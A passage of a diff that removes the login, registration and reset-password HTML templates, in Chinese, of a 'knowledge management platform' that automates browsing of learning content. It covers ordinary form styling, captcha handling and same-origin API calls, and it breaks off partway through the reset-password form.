-            overflow: hidden;
-        }
-        .login-header {
-            background: var(--md-primary);
-            color: var(--md-on-primary);
-            padding: 32px 24px;
-            text-align: center;
-        }
-        .login-header .logo { font-size: 48px; margin-bottom: 12px; }
-        .login-header h1 { font-size: 24px; font-weight: 500; margin-bottom: 4px; }
-        .login-header p { font-size: 14px; opacity: 0.9; }
-        .login-body { padding: 32px 24px; }
-        .form-group { margin-bottom: 24px; }
-        .form-group label { display: block; font-size: 14px; font-weight: 500; color: var(--md-on-surface-medium); margin-bottom: 8px; }
-        .form-group input {
-            width: 100%;
-            padding: 14px 16px;
-            border: 2px solid #E0E0E0;
-            border-radius: 8px;
-            font-size: 16px;
-            transition: all 0.2s;
-            background: #FAFAFA;
-        }
-        .form-group input:focus {
-            outline: none;
-            border-color: var(--md-primary);
-            background: var(--md-surface);
-            box-shadow: 0 0 0 3px var(--md-primary-light);
-        }
-        .captcha-row { display: flex; gap: 12px; align-items: center; }
-        .captcha-row input { flex: 1; }
-        .captcha-code {
-            font-size: 20px;
-            font-weight: bold;
-            letter-spacing: 4px;
-            color: var(--md-primary);
-            padding: 10px 16px;
-            background: var(--md-primary-light);
-            border-radius: 8px;
-            user-select: none;
-        }
-        .captcha-refresh {
-            padding: 10px 16px;
-            background: #F5F5F5;
-            border: none;
-            border-radius: 8px;
-            cursor: pointer;
-            font-size: 18px;
-        }
-        .captcha-refresh:hover { background: #EEEEEE; }
-        .forgot-link { text-align: right; margin-top: -16px; margin-bottom: 24px; }
-        .forgot-link a { color: var(--md-primary); text-decoration: none; font-size: 14px; font-weight: 500; }
-        .forgot-link a:hover { text-decoration: underline; }
-        .btn-login {
-            width: 100%;
-            padding: 16px;
-            background: var(--md-primary);
-            color: var(--md-on-primary);
-            border: none;
-            border-radius: 8px;
-            font-size: 16px;
-            font-weight: 600;
-            cursor: pointer;
-            transition: all 0.2s;
-            text-transform: uppercase;
-            letter-spacing: 1px;
-        }
-        .btn-login:hover { background: var(--md-primary-dark); box-shadow: 0 4px 12px rgba(25, 118, 210, 0.4); }
-        .register-link {
-            text-align: center;
-            margin-top: 24px;
-            padding-top: 24px;
-            border-top: 1px solid #E0E0E0;
-            color: var(--md-on-surface-medium);
-            font-size: 14px;
-        }
-        .register-link a { color: var(--md-primary); text-decoration: none; font-weight: 600; }
-        .register-link a:hover { text-decoration: underline; }
-        .message { padding: 12px 16px; border-radius: 8px; margin-bottom: 20px; font-size: 14px; display: none; }
-        .message.error { background: #FFEBEE; color: var(--md-error); border: 1px solid #FFCDD2; }
-        .message.success { background: #E8F5E9; color: var(--md-success); border: 1px solid #C8E6C9; }
-        .modal-overlay {
-            position: fixed; top: 0; left: 0; right: 0; bottom: 0;
-            background: rgba(0,0,0,0.5);
-            display: flex; justify-content: center; align-items: center;
-            opacity: 0; visibility: hidden; transition: all 0.3s; z-index: 1000; padding: 20px;
-        }
-        .modal-overlay.active { opacity: 1; visibility: visible; }
-        .modal {
-            background: var(--md-surface);
-            border-radius: 16px;
-            width: 100%; max-width: 400px;
-            box-shadow: var(--md-shadow-lg);
-            transform: translateY(-20px); transition: transform 0.3s;
-        }
-        .modal-overlay.active .modal { transform: translateY(0); }
-        .modal-header { padding: 24px; border-bottom: 1px solid #E0E0E0; }
-        .modal-header h2 { font-size: 20px; font-weight: 500; margin-bottom: 4px; }
-        .modal-header p { font-size: 14px; color: var(--md-on-surface-medium); }
-        .modal-body { padding: 24px; }
-        .modal-footer { padding: 16px 24px; border-top: 1px solid #E0E0E0; display: flex; gap: 12px; justify-content: flex-end; }
-        .btn-secondary { padding: 12px 24px; background: #F5F5F5; color: var(--md-on-surface); border: none; border-radius: 8px; font-size: 14px; font-weight: 600; cursor: pointer; }
-        .btn-secondary:hover { background: #EEEEEE; }
-        .btn-primary { padding: 12px 24px; background: var(--md-primary); color: var(--md-on-primary); border: none; border-radius: 8px; font-size: 14px; font-weight: 600; cursor: pointer; }
-        .btn-primary:hover { background: var(--md-primary-dark); }
-
-        @media (max-width: 480px) {
-            body { padding: 12px; }
-            .login-card { max-width: 100%; }
-            .login-header { padding: 24px 20px; }
-            .login-header .logo { font-size: 40px; margin-bottom: 10px; }
-            .login-header h1 { font-size: 20px; }
-            .login-header p { font-size: 13px; }
-            .login-body { padding: 24px 20px; }
-            .form-group { margin-bottom: 20px; }
-            .form-group label { font-size: 13px; }
-            .form-group input { padding: 12px 14px; font-size: 16px; } /* iOS防止自动缩放 */
-            .captcha-code { padding: 8px 12px; font-size: 18px; letter-spacing: 3px; }
-            .captcha-refresh { padding: 8px 12px; font-size: 16px; }
-            .btn-login { padding: 14px; font-size: 15px; }
-            .modal { max-width: 100%; }
-            .modal-header, .modal-body { padding: 20px; }
-            .modal-header h2 { font-size: 18px; }
-            .modal-footer { padding: 14px 20px; flex-direction: column; }
-            .modal-footer button { width: 100%; }
-        }
-    </style>
-</head>
-<body>
-    <div class="login-card">
-        <div class="login-header">
-            <div class="logo">📚</div>
-            <h1>知识管理平台</h1>
-            <p>自动化浏览学习内容</p>
-        </div>
-        <div class="login-body">
-            <div id="errorMessage" class="message error"></div>
-            <div id="successMessage" class="message success"></div>
-            <form id="loginForm" onsubmit="handleLogin(event)">
-                <div class="form-group">
-                    <label for="username">用户名</label>
-                    <input type="text" id="username" name="username" placeholder="请输入用户名" required>
-                </div>
-                <div class="form-group">
-                    <label for="password">密码</label>
-                    <input type="password" id="password" name="password" placeholder="请输入密码" required>
-                </div>
-                <div id="captchaGroup" class="form-group" style="display: none;">
-                    <label for="captcha">验证码</label>
-                    <div class="captcha-row">
-                        <input type="text" id="captcha" name="captcha" placeholder="请输入验证码">
-                        <img id="captchaImage" src="" alt="验证码" style="height: 50px; border: 1px solid #ddd; border-radius: 4px; cursor: pointer;" onclick="refreshCaptcha()" title="点击刷新">
-                        <button type="button" class="captcha-refresh" onclick="refreshCaptcha()">🔄</button>
-                    </div>
-                </div>
-                <div class="forgot-link">
-                    <a href="#" onclick="showForgotPassword(event)">忘记密码？</a>
-                    <span id="resendVerifyLink" style="display: none; margin-left: 16px;"><a href="#" onclick="showResendVerify(event)">重发验证邮件</a></span>
-                </div>
-                <button type="submit" class="btn-login">登 录</button>
-            </form>
-            <div class="register-link">还没有账号？ <a href="/register">立即注册</a></div>
-        </div>
-    </div>
-    <div id="forgotPasswordModal" class="modal-overlay" onclick="if(event.target===this)closeForgotPassword()">
-        <div class="modal">
-            <div class="modal-header"><h2>重置密码</h2><p id="resetModalDesc">填写信息后等待管理员审核</p></div>
-            <div class="modal-body">
-                <div id="modalErrorMessage" class="message error"></div>
-                <div id="modalSuccessMessage" class="message success"></div>
-                <!-- 邮件重置方式（启用邮件功能时显示） -->
-                <form id="emailResetForm" onsubmit="handleEmailReset(event)" style="display: none;">
-                    <div class="form-group"><label>邮箱</label><input type="email" id="emailResetEmail" placeholder="请输入注册邮箱" required></div>
-                    <div class="form-group">
-                        <label>验证码</label>
-                        <div class="captcha-row">
-                            <input type="text" id="emailResetCaptcha" placeholder="请输入验证码" required>
-                            <img id="emailResetCaptchaImage" src="" alt="验证码" style="height: 50px; border: 1px solid #ddd; border-radius: 4px; cursor: pointer;" onclick="refreshEmailResetCaptcha()" title="点击刷新">
-                            <button type="button" class="captcha-refresh" onclick="refreshEmailResetCaptcha()">🔄</button>
-                        </div>
-                    </div>
-                </form>
-                <!-- 管理员审核方式（未启用邮件功能时显示） -->
-                <form id="resetPasswordForm" onsubmit="handleResetPassword(event)">
-                    <div class="form-group"><label>用户名</label><input type="text" id="resetUsername" placeholder="请输入用户名" required></div>
-                    <div class="form-group"><label>邮箱（可选）</label><input type="email" id="resetEmail" placeholder="用于验证身份"></div>
-                    <div class="form-group"><label>新密码</label><input type="password" id="resetNewPassword" placeholder="至少8位，包含字母和数字" required></div>
-                </form>
-            </div>
-            <div class="modal-footer">
-                <button type="button" class="btn-secondary" onclick="closeForgotPassword()">取消</button>
-                <button type="button" class="btn-primary" id="resetSubmitBtn" onclick="submitResetForm()">提交申请</button>
-            </div>
-        </div>
-    </div>
-    <!-- 重发验证邮件弹窗 -->
-    <div id="resendVerifyModal" class="modal-overlay" onclick="if(event.target===this)closeResendVerify()">
-        <div class="modal">
-            <div class="modal-header"><h2>重发验证邮件</h2><p>输入注册时使用的邮箱</p></div>
-            <div class="modal-body">
-                <div id="resendErrorMessage" class="message error"></div>
-                <div id="resendSuccessMessage" class="message success"></div>
-                <form id="resendVerifyForm" onsubmit="handleResendVerify(event)">
-                    <div class="form-group"><label>邮箱</label><input type="email" id="resendEmail" placeholder="请输入注册邮箱" required></div>
-                    <div class="form-group">
-                        <label>验证码</label>
-                        <div class="captcha-row">
-                            <input type="text" id="resendCaptcha" placeholder="请输入验证码" required>
-                            <img id="resendCaptchaImage" src="" alt="验证码" style="height: 50px; border: 1px solid #ddd; border-radius: 4px; cursor: pointer;" onclick="refreshResendCaptcha()" title="点击刷新">
-                            <button type="button" class="captcha-refresh" onclick="refreshResendCaptcha()">🔄</button>
-                        </div>
-                    </div>
-                </form>
-            </div>
-            <div class="modal-footer">
-                <button type="button" class="btn-secondary" onclick="closeResendVerify()">取消</button>
-                <button type="button" class="btn-primary" onclick="document.getElementById('resendVerifyForm').dispatchEvent(new Event('submit'))">发送验证邮件</button>
-            </div>
-        </div>
-    </div>
-    <script>
-        let captchaSession = '';
-        let resendCaptchaSession = '';
-        let emailResetCaptchaSession = '';
-        let needCaptcha = false;
-        let emailEnabled = false;
-
-        // 页面加载时检查邮箱验证是否启用
-        window.onload = async function() {
-            try {
-                const resp = await fetch('/api/email/verify-status');
-                const data = await resp.json();
-                emailEnabled = data.email_enabled;
-                if (data.register_verify_enabled) {
-                    document.getElementById('resendVerifyLink').style.display = 'inline';
-                }
-            } catch (e) {
-                console.log('获取邮箱验证状态失败', e);
-            }
-        };
-
-        async function handleLogin(event) {
-            event.preventDefault();
-            const username = document.getElementById('username').value.trim();
-            const password = document.getElementById('password').value.trim();
-            const captcha = document.getElementById('captcha') ? document.getElementById('captcha').value.trim() : '';
-            const errorDiv = document.getElementById('errorMessage');
-            const successDiv = document.getElementById('successMessage');
-            errorDiv.style.display = 'none';
-            successDiv.style.display = 'none';
-            if (!username || !password) { errorDiv.textContent = '用户名和密码不能为空'; errorDiv.style.display = 'block'; return; }
-            if (needCaptcha && !captcha) { errorDiv.textContent = '请输入验证码'; errorDiv.style.display = 'block'; return; }
-            try {
-                const response = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password, captcha_session: captchaSession, captcha, need_captcha: needCaptcha }) });
-                const data = await response.json();
-                if (response.ok) { successDiv.textContent = '登录成功，正在跳转...'; successDiv.style.display = 'block'; setTimeout(() => { window.location.href = '/app'; }, 500); }
-                else { errorDiv.textContent = data.error || '登录失败'; errorDiv.style.display = 'block'; if (data.need_captcha) { needCaptcha = true; document.getElementById('captchaGroup').style.display = 'block'; await generateCaptcha(); } }
-            } catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
-        }
-        async function showForgotPassword(event) {
-            event.preventDefault();
-            document.getElementById('forgotPasswordModal').classList.add('active');
-            document.getElementById('modalErrorMessage').style.display = 'none';
-            document.getElementById('modalSuccessMessage').style.display = 'none';
-
-            // 根据邮件功能状态切换显示
-            if (emailEnabled) {
-                document.getElementById('emailResetForm').style.display = 'block';
-                document.getElementById('resetPasswordForm').style.display = 'none';
-                document.getElementById('resetModalDesc').textContent = '输入注册邮箱，我们将发送重置链接';
-                document.getElementById('resetSubmitBtn').textContent = '发送重置邮件';
-                await generateEmailResetCaptcha();
-            } else {
-                document.getElementById('emailResetForm').style.display = 'none';
-                document.getElementById('resetPasswordForm').style.display = 'block';
-                document.getElementById('resetModalDesc').textContent = '填写信息后等待管理员审核';
-                document.getElementById('resetSubmitBtn').textContent = '提交申请';
-            }
-        }
-        function closeForgotPassword() {
-            document.getElementById('forgotPasswordModal').classList.remove('active');
-            document.getElementById('resetPasswordForm').reset();
-            document.getElementById('emailResetForm').reset();
-            document.getElementById('modalErrorMessage').style.display = 'none';
-            document.getElementById('modalSuccessMessage').style.display = 'none';
-        }
-        function submitResetForm() {
-            if (emailEnabled) {
-                document.getElementById('emailResetForm').dispatchEvent(new Event('submit'));
-            } else {
-                document.getElementById('resetPasswordForm').dispatchEvent(new Event('submit'));
-            }
-        }
-        async function handleResetPassword(event) {
-            event.preventDefault();
-            const username = document.getElementById('resetUsername').value.trim();
-            const email = document.getElementById('resetEmail').value.trim();
-            const newPassword = document.getElementById('resetNewPassword').value.trim();
-            const errorDiv = document.getElementById('modalErrorMessage');
-            const successDiv = document.getElementById('modalSuccessMessage');
-            errorDiv.style.display = 'none'; successDiv.style.display = 'none';
-            if (!username || !newPassword) { errorDiv.textContent = '用户名和新密码不能为空'; errorDiv.style.display = 'block'; return; }
-            if (newPassword.length < 8) { errorDiv.textContent = '密码长度至少8位'; errorDiv.style.display = 'block'; return; }
-            if (!/[a-zA-Z]/.test(newPassword) || !/\d/.test(newPassword)) { errorDiv.textContent = '密码必须包含字母和数字'; errorDiv.style.display = 'block'; return; }
-            try {
-                const response = await fetch('/api/reset_password_request', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, email, new_password: newPassword }) });
-                const data = await response.json();
-                if (response.ok) { successDiv.textContent = '申请已提交，请等待审核'; successDiv.style.display = 'block'; setTimeout(closeForgotPassword, 2000); }
-                else { errorDiv.textContent = data.error || '申请失败'; errorDiv.style.display = 'block'; }
-            } catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
-        }
-        async function generateCaptcha() { try { const response = await fetch('/api/generate_captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' } }); const data = await response.json(); if (data.session_id && data.captcha_image) { captchaSession = data.session_id; document.getElementById('captchaImage').src = data.captcha_image; } } catch (error) { console.error('生成验证码失败:', error); } }
-        async function refreshCaptcha() { await generateCaptcha(); document.getElementById('captcha').value = ''; }
-
-        // 邮件方式重置密码相关函数
-        async function generateEmailResetCaptcha() {
-            try {
-                const response = await fetch('/api/generate_captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' } });
-                const data = await response.json();
-                if (data.session_id && data.captcha_image) {
-                    emailResetCaptchaSession = data.session_id;
-                    document.getElementById('emailResetCaptchaImage').src = data.captcha_image;
-                }
-            } catch (error) { console.error('生成验证码失败:', error); }
-        }
-        async function refreshEmailResetCaptcha() { await generateEmailResetCaptcha(); document.getElementById('emailResetCaptcha').value = ''; }
-        async function handleEmailReset(event) {
-            event.preventDefault();
-            const email = document.getElementById('emailResetEmail').value.trim();
-            const captcha = document.getElementById('emailResetCaptcha').value.trim();
-            const errorDiv = document.getElementById('modalErrorMessage');
-            const successDiv = document.getElementById('modalSuccessMessage');
-            errorDiv.style.display = 'none'; successDiv.style.display = 'none';
-
-            if (!email) { errorDiv.textContent = '请输入邮箱'; errorDiv.style.display = 'block'; return; }
-            if (!captcha) { errorDiv.textContent = '请输入验证码'; errorDiv.style.display = 'block'; return; }
-
-            try {
-                const response = await fetch('/api/forgot-password', {
-                    method: 'POST',
-                    headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ email, captcha_session: emailResetCaptchaSession, captcha })
-                });
-                const data = await response.json();
-                if (response.ok) {
-                    successDiv.innerHTML = data.message + '<br><small style="color: #666;">请检查您的邮箱（包括垃圾邮件文件夹）</small>';
-                    successDiv.style.display = 'block';
-                    setTimeout(closeForgotPassword, 3000);
-                } else {
-                    errorDiv.textContent = data.error || '发送失败';
-                    errorDiv.style.display = 'block';
-                    await refreshEmailResetCaptcha();
-                }
-            } catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
-        }
-
-        // 重发验证邮件相关函数
-        async function showResendVerify(event) {
-            event.preventDefault();
-            document.getElementById('resendVerifyModal').classList.add('active');
-            await generateResendCaptcha();
-        }
-        function closeResendVerify() {
-            document.getElementById('resendVerifyModal').classList.remove('active');
-            document.getElementById('resendVerifyForm').reset();
-            document.getElementById('resendErrorMessage').style.display = 'none';
-            document.getElementById('resendSuccessMessage').style.display = 'none';
-        }
-        async function generateResendCaptcha() {
-            try {
-                const response = await fetch('/api/generate_captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' } });
-                const data = await response.json();
-                if (data.session_id && data.captcha_image) {
-                    resendCaptchaSession = data.session_id;
-                    document.getElementById('resendCaptchaImage').src = data.captcha_image;
-                }
-            } catch (error) { console.error('生成验证码失败:', error); }
-        }
-        async function refreshResendCaptcha() { await generateResendCaptcha(); document.getElementById('resendCaptcha').value = ''; }
-        async function handleResendVerify(event) {
-            event.preventDefault();
-            const email = document.getElementById('resendEmail').value.trim();
-            const captcha = document.getElementById('resendCaptcha').value.trim();
-            const errorDiv = document.getElementById('resendErrorMessage');
-            const successDiv = document.getElementById('resendSuccessMessage');
-            errorDiv.style.display = 'none'; successDiv.style.display = 'none';
-
-            if (!email) { errorDiv.textContent = '请输入邮箱'; errorDiv.style.display = 'block'; return; }
-            if (!captcha) { errorDiv.textContent = '请输入验证码'; errorDiv.style.display = 'block'; return; }
-
-            try {
-                const response = await fetch('/api/resend-verify-email', {
-                    method: 'POST',
-                    headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ email, captcha_session: resendCaptchaSession, captcha })
-                });
-                const data = await response.json();
-                if (response.ok) {
-                    successDiv.textContent = data.message || '验证邮件已发送，请查收';
-                    successDiv.style.display = 'block';
-                    setTimeout(closeResendVerify, 2000);
-                } else {
-                    errorDiv.textContent = data.error || '发送失败';
-                    errorDiv.style.display = 'block';
-                    await refreshResendCaptcha();
-                }
-            } catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
-        }
-
-        document.addEventListener('keydown', (e) => { if (e.key === 'Escape') { closeForgotPassword(); closeResendVerify(); } });
-    </script>
-</body>
-</html>

templates/register.html

@@ -1,318 +0,0 @@
-<!DOCTYPE html>
-<html lang="zh-CN">
-<head>
-    <meta charset="UTF-8">
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>用户注册 - 知识管理平台</title>
-    <style>
-        * {
-            margin: 0;
-            padding: 0;
-            box-sizing: border-box;
-        }
-
-        body {
-            font-family: 'Microsoft YaHei', Arial, sans-serif;
-            background: linear-gradient(135deg, #56CCF2 0%, #2F80ED 100%);
-            min-height: 100vh;
-            display: flex;
-            justify-content: center;
-            align-items: center;
-        }
-
-        .register-container {
-            background: white;
-            border-radius: 10px;
-            box-shadow: 0 10px 40px rgba(0,0,0,0.2);
-            width: 400px;
-            padding: 40px;
-        }
-
-        .register-header {
-            text-align: center;
-            margin-bottom: 30px;
-        }
-
-        .register-header h1 {
-            font-size: 28px;
-            color: #333;
-            margin-bottom: 10px;
-        }
-
-        .register-header p {
-            color: #666;
-            font-size: 14px;
-        }
-
-        .form-group {
-            margin-bottom: 20px;
-        }
-
-        .form-group label {
-            display: block;
-            margin-bottom: 8px;
-            color: #333;
-            font-weight: bold;
-        }
-
-        .form-group input {
-            width: 100%;
-            padding: 12px;
-            border: 1px solid #ddd;
-            border-radius: 5px;
-            font-size: 14px;
-            transition: border-color 0.3s;
-        }
-
-        .form-group input:focus {
-            outline: none;
-            border-color: #2F80ED;
-        }
-
-        .form-group small {
-            color: #888;
-            font-size: 12px;
-            display: block;
-            margin-top: 5px;
-        }
-
-        .btn-register {
-            width: 100%;
-            padding: 12px;
-            background: linear-gradient(135deg, #56CCF2 0%, #2F80ED 100%);
-            color: white;
-            border: none;
-            border-radius: 5px;
-            font-size: 16px;
-            font-weight: bold;
-            cursor: pointer;
-            transition: transform 0.2s;
-        }
-
-        .btn-register:hover {
-            transform: translateY(-2px);
-        }
-
-        .btn-register:active {
-            transform: translateY(0);
-        }
-
-        .login-link {
-            text-align: center;
-            margin-top: 20px;
-            color: #666;
-        }
-
-        .login-link a {
-            color: #2F80ED;
-            text-decoration: none;
-            font-weight: bold;
-        }
-
-        .login-link a:hover {
-            text-decoration: underline;
-        }
-
-        .error-message {
-            background: #ffe6e6;
-            color: #d63031;
-            padding: 10px;
-            border-radius: 5px;
-            margin-bottom: 20px;
-            display: none;
-        }
-
-        .success-message {
-            background: #e6ffe6;
-            color: #27ae60;
-            padding: 10px;
-            border-radius: 5px;
-            margin-bottom: 20px;
-            display: none;
-        }
-
-        @media (max-width: 480px) {
-            body { padding: 12px; align-items: flex-start; padding-top: 20px; }
-            .register-container { width: 100%; max-width: 100%; padding: 24px 20px; }
-            .register-header h1 { font-size: 24px; }
-            .register-header p { font-size: 13px; }
-            .form-group { margin-bottom: 18px; }
-            .form-group label { font-size: 13px; }
-            .form-group input { padding: 11px; font-size: 16px; } /* iOS防止自动缩放 */
-            .form-group small { font-size: 11px; }
-            .btn-register { padding: 13px; font-size: 15px; }
-            .login-link { margin-top: 16px; font-size: 14px; }
-        }
-    </style>
-</head>
-<body>
-    <div class="register-container">
-        <div class="register-header">
-            <h1>用户注册</h1>
-        </div>
-
-        <div id="errorMessage" class="error-message"></div>
-        <div id="successMessage" class="success-message"></div>
-
-        <form id="registerForm" onsubmit="handleRegister(event)">
-            <div class="form-group">
-                <label for="username">用户名 *</label>
-                <input type="text" id="username" name="username" required minlength="3">
-                <small>至少3个字符</small>
-            </div>
-
-            <div class="form-group">
-                <label for="password">密码 *</label>
-                <input type="password" id="password" name="password" required minlength="6">
-                <small>至少6个字符</small>
-            </div>
-
-            <div class="form-group">
-                <label for="confirm_password">确认密码 *</label>
-                <input type="password" id="confirm_password" name="confirm_password" required>
-            </div>
-
-            <div class="form-group">
-                <label for="email">邮箱 <span id="emailRequired" style="color: #d63031; display: none;">*</span></label>
-                <input type="email" id="email" name="email">
-                <small id="emailHint">选填，用于接收审核通知</small>
-            </div>
-            <div class="form-group">
-                <label for="captcha">验证码</label>
-                <div style="display: flex; gap: 10px; align-items: center;">
-                    <input type="text" id="captcha" placeholder="请输入验证码" required style="flex: 1;">
-                    <img id="captchaImage" src="" alt="验证码" style="height: 50px; border: 1px solid #ddd; border-radius: 4px; cursor: pointer;" onclick="refreshCaptcha()" title="点击刷新">
-                    <button type="button" onclick="refreshCaptcha()" style="padding: 8px 15px; background: #f0f0f0; border: 1px solid #ddd; border-radius: 4px; cursor: pointer;">刷新</button>
-                </div>
-            </div>
-
-            <button type="submit" class="btn-register">注册</button>
-        </form>
-
-        <div class="login-link">
-            已有账号？ <a href="/login">立即登录</a>
-        </div>
-    </div>
-
-    <script>
-        let captchaSession = '';
-        let emailVerifyEnabled = false;
-
-        window.onload = async function() {
-            await generateCaptcha();
-            await checkEmailVerifyStatus();
-        };
-
-        async function checkEmailVerifyStatus() {
-            try {
-                const resp = await fetch('/api/email/verify-status');
-                const data = await resp.json();
-                emailVerifyEnabled = data.register_verify_enabled;
-
-                if (emailVerifyEnabled) {
-                    document.getElementById('emailRequired').style.display = 'inline';
-                    document.getElementById('email').required = true;
-                    document.getElementById('emailHint').textContent = '必填，用于账号验证';
-                }
-            } catch (e) {
-                console.log('获取邮箱验证状态失败', e);
-            }
-        }
-
-        async function handleRegister(event) {
-            event.preventDefault();
-
-            const username = document.getElementById('username').value.trim();
-            const password = document.getElementById('password').value.trim();
-            const confirmPassword = document.getElementById('confirm_password').value.trim();
-            const email = document.getElementById('email').value.trim();
-            const errorDiv = document.getElementById('errorMessage');
-            const successDiv = document.getElementById('successMessage');
-
-            errorDiv.style.display = 'none';
-            successDiv.style.display = 'none';
-
-            // 验证
-            if (username.length < 3) {
-                errorDiv.textContent = '用户名至少3个字符';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            if (password.length < 6) {
-                errorDiv.textContent = '密码至少6个字符';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            if (password !== confirmPassword) {
-                errorDiv.textContent = '两次输入的密码不一致';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            // 邮箱验证启用时必填
-            if (emailVerifyEnabled && !email) {
-                errorDiv.textContent = '请填写邮箱地址用于账号验证';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            // 邮箱格式验证
-            if (email && !email.includes('@')) {
-                errorDiv.textContent = '邮箱格式不正确';
-                errorDiv.style.display = 'block';
-                return;
-            }
-
-            try {
-                const response = await fetch('/api/register', {
-                    method: 'POST',
-                    headers: {
-                        'Content-Type': 'application/json'
-                    },
-                    body: JSON.stringify({ username, password, email, captcha_session: captchaSession, captcha: document.getElementById('captcha').value.trim() })
-                });
-
-                const data = await response.json();
-
-                if (response.ok) {
-                    // 根据是否需要邮箱验证显示不同的消息
-                    if (data.need_verify) {
-                        successDiv.innerHTML = data.message + '<br><small style="color: #666;">请检查您的邮箱（包括垃圾邮件文件夹）</small>';
-                    } else {
-                        successDiv.textContent = data.message || '注册成功，请等待管理员审核';
-                    }
-                    successDiv.style.display = 'block';
-
-                    // 清空表单
-                    document.getElementById('registerForm').reset();
-
-                    // 3秒后跳转到登录页
-                    setTimeout(() => {
-                        window.location.href = '/login';
-                    }, 3000);
-                } else {
-                    errorDiv.textContent = data.error || '注册失败';
-                    errorDiv.style.display = 'block';
-                    refreshCaptcha();
-                }
-            } catch (error) {
-                errorDiv.textContent = '网络错误，请稍后重试';
-                errorDiv.style.display = 'block';
-            }
-        }
-
-        async function generateCaptcha() {
-            const resp = await fetch('/api/generate_captcha', {method: 'POST', headers: {'Content-Type': 'application/json'}});
-            const data = await resp.json();
-            if (data.session_id && data.captcha_image) {
-                captchaSession = data.session_id;
-                document.getElementById('captchaImage').src = data.captcha_image;
-            }
-        }
-
-        async function refreshCaptcha() { await generateCaptcha(); document.getElementById('captcha').value = ''; }
-    </script>
-</body>
-</html>

templates/reset_password.html

@@ -1,266 +0,0 @@
-<!DOCTYPE html>
-<html lang="zh-CN">
-<head>
-    <meta charset="UTF-8">
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>重置密码 - 知识管理平台</title>
-    <style>
-        * {
-            margin: 0;
-            padding: 0;
-            box-sizing: border-box;
-        }
-        body {
-            font-family: 'Microsoft YaHei', Arial, sans-serif;
-            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
-            min-height: 100vh;
-            display: flex;
-            align-items: center;
-            justify-content: center;
-            padding: 20px;
-        }
-        .card {
-            background: white;
-            border-radius: 15px;
-            box-shadow: 0 10px 40px rgba(0,0,0,0.2);
-            padding: 40px;
-            text-align: center;
-            max-width: 450px;
-            width: 100%;
-        }
-        .icon {
-            width: 80px;
-            height: 80px;
-            background: linear-gradient(135deg, #e74c3c, #c0392b);
-            border-radius: 50%;
-            display: flex;
-            align-items: center;
-            justify-content: center;
-            margin: 0 auto 25px;
-        }
-        .icon svg {
-            width: 40px;
-            height: 40px;
-            fill: white;
-        }
-        h1 {
-            color: #333;
-            font-size: 24px;
-            margin-bottom: 10px;
-        }
-        p {
-            color: #666;
-            font-size: 14px;
-            line-height: 1.6;
-            margin-bottom: 25px;
-        }
-        .form-group {
-            margin-bottom: 20px;
-            text-align: left;
-        }
-        .form-group label {
-            display: block;
-            margin-bottom: 8px;
-            color: #333;
-            font-weight: bold;
-            font-size: 14px;
-        }
-        .form-group input {
-            width: 100%;
-            padding: 12px 15px;
-            border: 2px solid #e0e0e0;
-            border-radius: 8px;
-            font-size: 14px;
-            transition: border-color 0.3s;
-        }
-        .form-group input:focus {
-            outline: none;
-            border-color: #667eea;
-        }
-        .form-group small {
-            color: #999;
-            font-size: 12px;
-            margin-top: 5px;
-            display: block;
-        }
-        .btn {
-            width: 100%;
-            padding: 14px;
-            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
-            color: white;
-            border: none;
-            border-radius: 30px;
-            font-size: 16px;
-            font-weight: bold;
-            cursor: pointer;
-            transition: transform 0.2s, box-shadow 0.2s;
-        }
-        .btn:hover {
-            transform: translateY(-2px);
-            box-shadow: 0 5px 20px rgba(102, 126, 234, 0.4);
-        }
-        .btn:disabled {
-            background: #ccc;
-            cursor: not-allowed;
-            transform: none;
-            box-shadow: none;
-        }
-        .message {
-            padding: 12px 15px;
-            border-radius: 8px;
-            margin-bottom: 20px;
-            font-size: 14px;
-            display: none;
-        }
-        .message.error {
-            background: #ffe6e6;
-            color: #d63031;
-            border: 1px solid #ffcdd2;
-        }
-        .message.success {
-            background: #e6ffe6;
-            color: #27ae60;
-            border: 1px solid #c8e6c9;
-        }
-        .back-link {
-            margin-top: 20px;
-        }
-        .back-link a {
-            color: #667eea;
-            text-decoration: none;
-            font-size: 14px;
-        }
-        .back-link a:hover {
-            text-decoration: underline;
-        }
-        .expired {
-            display: none;
-        }
-        .expired .icon {
-            background: linear-gradient(135deg, #95a5a6, #7f8c8d);
-        }
-        @media (max-width: 480px) {
-            body { padding: 12px; }
-            .card { padding: 30px 20px; }
-            h1 { font-size: 20px; }
-        }
-    </style>
-</head>
-<body>
-    <div class="card" id="resetForm">
-        <div class="icon">
-            <svg viewBox="0 0 24 24">
-                <path d="M12.65 10C11.83 7.67 9.61 6 7 6c-3.31 0-6 2.69-6 6s2.69 6 6 6c2.61 0 4.83-1.67 5.65-4H17v4h4v-4h2v-4H12.65zM7 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2z"/>
-            </svg>
-        </div>
-        <h1>重置密码</h1>
-        <p>请输入您的新密码</p>
-
-        <div id="errorMessage" class="message error"></div>
-        <div id="successMessage" class="message success"></div>
-
-        <form onsubmit="handleResetPassword(event)">
-            <div class="form-group">
-                <label for="newPassword">新密码</label>
-                <input type="password" id="newPassword" placeholder="请输入新密码" required minlength="8">
-                <small>至少8位，包含字母和数字</small>
-            </div>
-            <div class="form-group">
-                <label for="confirmPassword">确认密码</label>
-                <input type="password" id="confirmPassword" placeholder="请再次输入新密码" required>
